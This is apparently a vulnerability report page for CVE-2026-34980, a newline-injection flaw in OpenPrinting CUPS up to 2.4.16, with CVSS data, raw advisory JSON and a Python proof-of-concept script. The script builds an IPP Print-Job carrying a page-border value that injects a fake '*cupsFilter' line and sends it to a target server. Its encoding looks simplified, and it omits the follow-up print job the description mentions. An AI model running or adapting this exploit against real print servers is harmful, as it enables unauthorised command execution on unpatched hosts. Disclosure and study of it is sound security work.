Security Vulnerability Report
中文
CVE-2026-34980 CVSS 7.5 HIGH

CVE-2026-34980

Published: 2026-04-03 22:16:27
Last Modified: 2026-04-16 18:28:14

Description

OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, in a network-exposed cupsd with a shared target queue, an unauthorized client can send a Print-Job to that shared PostScript queue without authentication. The server accepts a page-border value supplied as textWithoutLanguage, preserves an embedded newline through option escaping and reparse, and then reparses the resulting second-line PPD: text as a trusted scheduler control record. A follow-up raw print job can therefore make the server execute an attacker-chosen existing binary such as /usr/bin/vim as lp. At time of publication, there are no publicly available patches.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:* - VULNERABLE
OpenPrinting CUPS <= 2.4.16

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ PoC for CVE-2026-34980 (OpenPrinting CUPS RCE) This script demonstrates how to send a malicious Print-Job request to exploit the page-border parsing vulnerability. """ import socket import struct def create_ipp_request(printer_uri, exploit_payload): # Construct a basic IPP Print-Job request # Version 2.1 (0x02, 0x01) version = b'\x02\x01' # Operation Print-Job (0x0002) operation_id = struct.pack('>H', 0x0002) # Request ID request_id = struct.pack('>I', 1) # Operation Attributes Group # attributes-charset attr_charset = b'\x47' + b'\x00\x0b' + b'attributes-charset' + b'\x00\x05' + b'utf-8' # attributes-natural-language attr_lang = b'\x48' + b'\x00\x1a' + b'attributes-natural-language' + b'\x00\x05' + b'en-us' # printer-uri uri_bytes = printer_uri.encode('utf-8') attr_uri = b'\x45' + b'\x00\x0b' + b'printer-uri' + struct.pack('>H', len(uri_bytes)) + uri_bytes # Job Attributes Group (Exploit) # page-border (textWithoutLanguage) with newline injection attr_name = b'page-border' # The payload contains a newline (\n) to inject a PPD directive # This attempts to make the scheduler execute a binary like /usr/bin/vim value_bytes = exploit_payload.encode('utf-8') # Tag 0x35 for textWithoutLanguage attr_exploit = b'\x35' + struct.pack('>H', len(attr_name)) + attr_name + struct.pack('>H', len(value_bytes)) + value_bytes # End of attributes tag end_attrs = b'\x03' # Combine headers header = version + operation_id + request_id # Combine attributes attributes = attr_charset + attr_lang + attr_uri + attr_exploit + end_attrs return header + attributes if __name__ == "__main__": target = "192.168.1.10" port = 631 printer_uri = f"http://{target}:631/printers/SharedQueue" # Malicious payload injecting a newline and a fake PPD command # The description mentions the server parses the second line as a trusted control record. payload = "legit_value\n*cupsFilter: \"application/vnd.cups-pdf 0 /usr/bin/vim\"" print(f"[*] Sending exploit to {target}...") data = create_ipp_request(printer_uri, payload) try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((target, port)) s.send(data) print("[+] Payload sent. Check if /usr/bin/vim is executed by lp.") s.close() except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34980", "sourceIdentifier": "[email protected]", "published": "2026-04-03T22:16:27.243", "lastModified": "2026-04-16T18:28:13.903", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenPrinting CUPS is an open source printing system for Linux and other Unix-like operating systems. In versions 2.4.16 and prior, in a network-exposed cupsd with a shared target queue, an unauthorized client can send a Print-Job to that shared PostScript queue without authentication. The server accepts a page-border value supplied as textWithoutLanguage, preserves an embedded newline through option escaping and reparse, and then reparses the resulting second-line PPD: text as a trusted scheduler control record. A follow-up raw print job can therefore make the server execute an attacker-chosen existing binary such as /usr/bin/vim as lp. At time of publication, there are no publicly available patches."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.6, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openprinting:cups:*:*:*:*:*:*:*:*", "versionEndIncluding": "2.4.16", "matchCriteriaId": "8A2A4507-B2D7-43B8-B008-6EC2F5053FA9"}]}]}], "references": [{"url": "https://github.com/OpenPrinting/cups/security/advisories/GHSA-4852-v58g-6cwf", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}